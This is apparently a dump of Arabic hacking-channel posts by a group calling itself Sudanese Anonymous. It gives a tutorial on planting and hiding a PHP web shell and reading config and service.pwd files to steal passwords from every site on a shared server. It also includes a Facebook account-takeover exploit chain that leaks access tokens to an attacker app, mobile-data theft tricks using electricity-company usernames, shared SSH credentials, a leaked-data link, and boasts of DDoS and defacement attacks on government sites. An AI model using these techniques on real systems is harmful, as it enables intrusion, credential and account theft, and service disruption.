حساب SSH  لمدة 3 ايام🙄
Host: pl.skyssh.com
UserName: skyssh.com-PTR4
PassWord: 1234567
Port: 443
Created:7-Novamber-2018
Expired:10-Novamber-2018
➖➖➖➖➖➖➖➖➖➖➖
#Musab ~ ( ͡° ͜ʖ ͡°) ~☠
#sudanes_anonymous
#Ssh_account

طريقة اختراق السيرفرات #شرح_حصري

لنفترض انك اخترقت موقع بأي ثغره .. او عندك انت موقع لك عند اي سيرفر

وبدك تخترق السيرفر طريقة اختراق السيرفر

اولآ بتحميل سكربت الشيل بلغة php على جهازك
وهي وصلة الشيل
http://www.alkaen.taqaniat.net/ShellsAlkaeN.zip
------------------------------------------------------------------------------
ال php شيل ((phpshell )) هو سكربت بلغة (( php ))

وبتقدر من خلالو تنفيذ اوامر اللينكس.. مثلا احضار باسوردات الـ مواقع يلي على السيرفر وايضا رؤية ملف الــ config
يلي على السيرفر

ولاكن لتنفيذ الاوامر هذه يجب عليك ان تقوم بتحميل الــ phpshell
على موقعك او الموقع الذي اخترقته..

بعد التحميل بتقدر تخترق السيرفر بشكل كامل ..

مثال ..👇

نفترض انك اخترقت هذا الموقع
http://www.Anonymous.com/
وقمت بتحميل الــ phpshell
على ملف download
رح يصير العنوان بهدا الشكل
www.Anonymous.com/download/phpshell.php

وبعدين اذا دخلنا الى العنوان رح تشوف كلمة اسمها Command وامامها فراغ

في الفراغ هذا رح نحط فيه اوامر اللينكس..

بس قبل البدء في الشرح الجديد.. احب اوضح نقطه مهمه ::--

يمكن لو شاف صاحب الموقع يلي اخترقتو الشيل.. يروح ويحذفه الك

ولاكن لو تسوي اثنين واحد منهم مخفي.. يعني الاول اذا حذفه راح يكون معانا واحد مخفي
لاخفائه نسوي هيك بهي الطريقة www.Anonymous.com/download/phpshell.php wget
وبعدين نقوم باخفائه.. نقوم بتغيير اسمه الى Mv phpshell.php .phpshell.php
ماذا تلاحظ ؟ اضفنا نقطة . واذا حذف الاول راح يكون معانا الثاني ومخفي
---------------------------------------------
والان بعد تحميل الشيل على الموقع
يصبح العنوان مثلا www.Anonymous.com/download/phpshell.php

وثم نجد كتابة اسمها Command وامامها فراغ

في الفراغ هذا ندخل اوامر اللينكس عليه..

ونحط الامر هذا مثلا ls /var/named
وهو لاحضار جميع المواقع التي على السيرفر..

ولاكن قبل البدء بالاوامر.. قد تستطيع ان تخترق السيرفر كاملا اذا لم يكن عليه الــ ((safe mode))

شرح الاوامر --==--
هلئ رح اعلمكم طريقة سحب : قواعد البيانات - المواقع - الباسوردات

نبدأ من الاسهل حتى الاصعب

1- قواعد البيانات
اكتب هذا الامر امام النص Command في الفراغ المقابل له
find / -name config.php
راح يطلع لك كل ملفات الكونفيج الي على السيرفر بالشكل هذا
usr/local/plesk/apache/vhosts/acinovara.com/httpdocs/forum/config.php
usr/local/plesk/apache/vhosts/adamparker.com/httpdocs/blacktalons/admin/config.php
usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/phpBB/config.php
usr/local/plesk/apache/vhosts/aipep.com/httpdocs/bbs/config.php
(( المواقع يلي على السيرفر بالعادة بتكوين كثيرة وانا بالعادة يخرج لي 300و 250 موقع ))
المواقع رح تكون باللون الزهري

طيب بدنا نقرأ الي مكتوب داخل الملف هذا
usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/phpBB/config.php

المهم نقرأ الي بداخله.. نكتب الامر هذا
cat /usr/local/plesk/apache/vhosts/ainvar.net/httpdo/اسم الملف/config.php

بعدين راح يطلع لك ملف الــ config.php
وبداخله يوجد اليوزر نيم والباسورد لقاعدة البيانات

روح اضرب المنتدى وبعدين ملف الــ admin ودخل اليوزر والباسورد لقاعدة البيانات
او الدخول عن طريق برنامج الــ MySQL-Front_2.5_Setup

-------------------------------------------------------
الأن خلصنا من قاعدة البيانات باقي باسوردات المواقع..

اكتب امام Command في الفراغ نكتب هذا الامر
find / -name service.pwd

وراح يطلع المواقع بالشكل هذا
usr/local/plesk/apache/vhosts/acinovara.com/httpdocs/_vti_pvt/service.pwd
usr/local/plesk/apache/vhosts/adamparker.com/httpdocs/_vti_pvt/service.pwd
usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/_vti_pvt/service.pwd
usr/local/plesk/apache/vhosts/aipep.com/httpdocs/_vti_pvt/service.pwd
التي باللون الزهري هي المواقع...
طيب هلق شوف الباسورد للموقع
usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/_vti_pvt/service.pwd
راح نكتب الامر هذا
cat /usr/local/plesk/apache/vhosts/ainvar.net/httpdocs/_vti_pvt/service.pwd

وراح يجينا الباسورد للموقع ومشفر بمقياس DES

او نكتب الامر هذا
cat /home/*/public_html/_vti_pvt/service.pwd
او
cat /home/*/public_ht
بعدها بصير السيرفر والمواقع يلي على السيرفر تحت سيطرتك وتقدر تعمل فيهم يلي بدك ياه
#sudanes_anonymous

Inf vpn
#sudani_4G
#sudanes_anonymous

بسم الله الرحمن الرحيم

اللهم صلي علي سيدنا محمد وعلي آله وصحبه وسلم

شرح بسيط جدا الثغرة سيدك(sedc) في شرائح سوداني

سوداني حاليا فيها ثغرتين
ثغرة سيدك
وثغرة ريح بالك

ما معنى سيدك(sedc)

Sedc

Sudanese Electricity distribution company

الشركة السودانيه لتوزيع الكهرباء.

وكدة عرفنا السيدك بترمز لي شنو

الأرقام دي 85741 معناهو شنو

الأرقام دي هي اليوزرات البيستخدموها ناس الكهرباء .

نأتي الي طريقة تشغيل الثغرة :-
#اولا
انتقل لي نقطة الوصول
قم بإضافة نقطة وصول جديدة
----------------------------
Sedc
Sedc.vpdn
196.168.1.100
8080
85741@sedcmms.vpdn
85741
----------------------
#ثانيا
قم بتحميل برامج الحاقن
سوف تجده في متحر قوقل بلي
او يمكنك تحميل برنامج sedc VPN
موجود في القناة وفي موقعنا
#ثالثا
بعد تحميل تطبيق الحاقن قم بفتح ملفات سيدك و استمتع
سوف تجد في القناة الكثير منها باسم sedc

ملحوظة:
#يجيب ان لا يحتوي الشريحه علي اي رصيد
#أيضا ناس الكهرباء حصل ليهم ضغط تقيل في اليوزرات بتاعتهم دي وقامو غيرو اليوزرات فممكن اليوزر الفوق دا يشتغل معاك وممكن لا يعني انت وحظك
وشكرا
#شعارنا:-
#الثورة_سوف_تعود
#يتبع
#Sudanes_anonymous
@sd_anonymous

بسم الله الرحمن الرحيم

اللهم صلي علي سيدنا محمد وعلي آله وصحبه وسلم

شرح ثغرة ريح بالك سوداني

ما معني ثغرة ريح بالك:-
شركة سوداني اتاحت للمستخدمين عند تنشيط خدمة
رمز التنشيط
*4*2#
100mbتعطيك وتساب مجاني

فبذالك تم استخدام هوست الوتساب
Http://blog.whatsapp.com

في تخطي وتثبيت 100mb

طريقة تشغيل الثغرة

نقوم بتحميل تطبيق الحاقن ونقوم بتحميل ملف حاقن من القناة ونشغلو
وشكرا
#شعارنا:-
#الثورة_سوف_تعود
#Sudanes_anonymous
@sd_anonymous

بسم الله الرحمن الرحيم

اللهم صلي علي سيدنا محمد وعلي آله وصحبه وسلم

شرح ثغرة MTN Date

ما معني ثغرة MTN Date :-

شركة ام تي ان عند تنشيط خدمة
20mb
يتم التخطي عن طريق هوست الالعاب
http://game.mtn.sd

وهذه الثغرة تعمل في شرائح الداتا القديمة والجديده
طريقة تشغيلها
تنزل تطبيق الحاقن وتنزل ملف حاقن من القناة
#شعارنا:-
#الثورة_سوف_تعود

#Sudanes_anonymous
@sd_anonymous

كتاب Web Hacking 101
لتعلم اختراق المواقع
كتااب مفيد جدا
سعر الكتاب 0.2 BTC

#Sudanes_anonymous| @sd_anonymous
#Donot_Change_Sourse

استغلال الثغرة :

نشر منشور على اليوميات :
https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/api/graphql/%3fdoc_id=
1740513229408093%26variables={"input":{"actor_id":{TARGET_ID},"client_mutation_id":"1","source":"WWW","audience":{"web_privacyx":"REDECATED"},"message":{"text":"TEXT","ranges":[]}}}



حذف صورة الملف الشخصي :
https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/profile/picture/remove_picture/%3fdelete_from_album=1%
26profile_id={TARGET_ID}

خداع المستخدم لحذف الحساب ( بعد تغيير اللغة ضمن البارامتر local ) :

https://www.facebook.com/comet/dialog_DONOTUSE/?
url=/help/delete_account/dialog/%3f__asyncDialog=0%26locale=fr_FR

أما بالنسبة لإضافة بريد الكتروني جديد فهي أصعب قليلاً لأنها تعتمد على إعادة توجيه إلى الموقع الخاص بك مع رابط يحوي التوكن Access_token
المرحلة الأولى :
https://www.facebook.com/comet/dialog_DONOTUSE/?url=
/ajax/appcenter/redirect_to_app%3fapp_id={ATTACKER_APP}%26ref=
appcenter_top_grossing%26redirect_uri=https%3a//www.facebook.com/v3.2/dialog/oauth%3fresponse_type%3dtoken%26
client_id%3d{ATTACKER_APP}%26redirect_uri%3d{DOUBLE_URL_ENCODED_LINK}%26scope%3d&
preview=0&fbs=125&sentence_id&gift_game=0&scopes[0]=email&gdpv4_source=dialog

هنا ستعين رابط موقعك لتتم إعادة التوجيه إليه مع التوكن

المرحلة الثانية :
سيقوم الموقع بتعيين بريد الكتروني جديد ثم إعادة توجيه الطلب إلى فيسبوك

https://www.facebook.com/comet/
dialog_DONOTUSE/?
url=/add_contactpoint/dialog/submit/%3fcontactpoint={EMAIL_
CHOSEN}%26next=/v3.2/dialogoauth%253fresponse_type%253dtoken%2526client_id%253d{ATTACKER_APP}%2526redirect_uri%253d{DOUBLE_URL_ENCODED_LINK]

هنا تم تغيير البريد الالكتروني .. قم بالدخول إلى البريد الجديد وتأكيد الحساب :
https://www.facebook.com/
confirmcontact.php?c={CODE}&z=0&gfid={HASH}

حيث code و hash ستصل ضمن بريد التأكيد

المرحلة الأخيرة : إعادة تعيين كلمة السر - عن طريق البريد الالكتروني الجديد -

بالطبع يجب تعديل المتغيرات في الروابط بالأعلى
#sudanes_anonymous
@sd_anonymous

الإصدار الجديد من كالي لينكس Kali Linux 2019.1 مع الكثير من التحديثات على مستوى نواة التشغيل Kernel و كذلك الأدوات .
وتحديث ميتا سوبليت 5
#Sudanes_anonymous
@sd_anonymous


https://www.kali.org/news/kali-linux-2019-1-release/

شرح عمل ملف حاقن خاص بك لبرنامج الحاقن استمتعوو… 🧡✅ لايك شير 👌✅ والاشتراك 🌟🔥 متقصرو ي شباب ✅💚

https://youtu.be/NaaGfGSbf9U

تم اسقاط موقع معهد العلوم القضائية :
https://www.isitdownrightnow.com/sji.gov.sd.html
#تسقط_بس
#opsudan
#Sudanes_anonymous
#موكب_7مارس

بسم الله الرحمن الرحيم

اللهم صلي علي سيدنا محمد وعلي آله وصحبه وسلم

شرح بسيط جدا الثغرة سيدك(sedc) في شرائح سوداني

سوداني حاليا فيها ثغرتين
ثغرة سيدك
وثغرة ريح بالك

ما معنى سيدك(sedc)

Sedc

Sudanese Electricity distribution company

الشركة السودانيه لتوزيع الكهرباء.

وكدة عرفنا السيدك بترمز لي شنو

الأرقام دي 85741 معناهو شنو

الأرقام دي هي اليوزرات البيستخدموها ناس الكهرباء .

نأتي الي طريقة تشغيل الثغرة :-
#اولا
انتقل لي نقطة الوصول
قم بإضافة نقطة وصول جديدة
----------------------------
Sedc
Sedc.vpdn
196.168.1.100
8080
85741@sedcmms.vpdn
85741
----------------------
#ثانيا
قم بتحميل برامج الحاقن
سوف تجده في متحر قوقل بلي
او يمكنك تحميل برنامج sedc VPN
موجود في القناة وفي موقعنا
#ثالثا
بعد تحميل تطبيق الحاقن قم بفتح ملفات سيدك و استمتع
سوف تجد في القناة الكثير منها باسم sedc

ملحوظة:
#يجيب ان لا يحتوي الشريحه علي اي رصيد
#أيضا ناس الكهرباء حصل ليهم ضغط تقيل في اليوزرات بتاعتهم دي وقامو غيرو اليوزرات فممكن اليوزر الفوق دا يشتغل معاك وممكن لا يعني انت وحظك
وشكرا
#شعارنا:-
#الثورة_سوف_تعود
#يتبع
#Sudanes_anonymous
@sd_anonymous

shutdown
في هذه الحالة سوف يقوم السويتش بأغلاق المنفذ بشكل مباشر وهذه الوضعية تعد الـ Default للـ Port Security
protect
في حالة تخطي البورت للعدد ال MACs المحددة له من خلال maximum . يقوم بتجاهل هذا التخطي ولأي يستجيب الا للعدد المحدد من
restrict
في حالة تخطي البورت للعدد ال MACs المحددة له من خلال maximum . يقوم بتجاهل هذا التخطي ولأي يستجيب الا للعدد المحدد من MAC ، ويرسل Syslog لتوضيح ان هناك انتهاك وهناك عدد من ال MACs اكثر من المحدد من الmac في الmaximum
maximum
من خلال maximum يمكننا تحديد الحد الاقصى من عدد الmac المصرح له بالاتصال بالبورت مثلا قمنا بتحديد 2 فسوف يكون هناك جهازان فقط مصرح لهم ويمكن تحديدهم من خلال كتابة الماك ادرس الخاص بهم
Sticky
من خلال maximum يمكننا تحديد الحد الاقصى من عدد الmac المصرح له بالاتصال بالبورت مثلا قمنا بتحديد 2 فسوف يكون هناك جهازان فقط مصرح لهم ولكن في هذه الحالة سوف يكون هناك اول جهازان يقومان بالاتصال بالبورت ثم ياخذ الماك ادرس لهم بشكل تلقائي
====================
#sudanes_anonymous

http://orc.sd/ar/articleDetails.php?id=165

مصفاة الأبيض
#Sudanes_anonymous

#Sudanes_anonymous
‌‎#Anonymous ‎#OpSudan ‎#SudanProtests ‎#SudanUprising ‎#مدن_السودان_تنتفض
‎#تسقط_بس ‎#مليونية6ابريل ‎#موكب6ابريل

Al-Sharq Al-Ahlia university website has been ‎#Hacked and ‎#Leaked.

Leak:
https://hastebin.com/zucogarivo.rb

‌‎#Anonymous ‎#OpSudan ‎#SudanProtests ‎#SudanUprising ‎#مدن_السودان_تنتفض
‎#تسقط_بس ‎#مليونية6ابريل ‎#موكب6ابريل

Sudanese Ministry of Finance and Economy has been ‎#Hacked and
#Sudanes_anonymous
http://nks-finance.gov.sd/?p=1076

‌‎#Anonymous ‎#OpSudan ‎#SudanProtests ‎#SudanUprising
#sudanes_anonymous
‎#مدن_السودان_تنتفض
‎#تسقط_بس ‎#موكب10ابريل ‎#السودان ‎#اعتصام_القياده_العامه

Presidency of Sudan website has been ‎#Burned after our massive attacks against their servers. Al bashir; Just fall!

Website: http://www.presidency.gov.sd/cgi-sys/suspendedpage.cgi


واخيرا تمت الفرحة بموقع رئاسة الجمهورية

الحمد لله علي كل حال

‌‎#Anonymous ‎#OpSudan ‎#SudanProtests ‎#SudanUprising
#sudanes_anonymous
‎#مدن_السودان_تنتفض
‎#تسقط_بس ‎#موكب10ابريل ‎#السودان ‎#اعتصام_القياده_العامه

Presidency of Sudan website has been ‎#Burned after our massive attacks against their servers. Al bashir; Just fall!

Website: http://www.presidency.gov.sd/cgi-sys/suspendedpage.cgi


واخيرا تمت الفرحة بموقع رئاسة الجمهورية

الحمد لله علي كل حال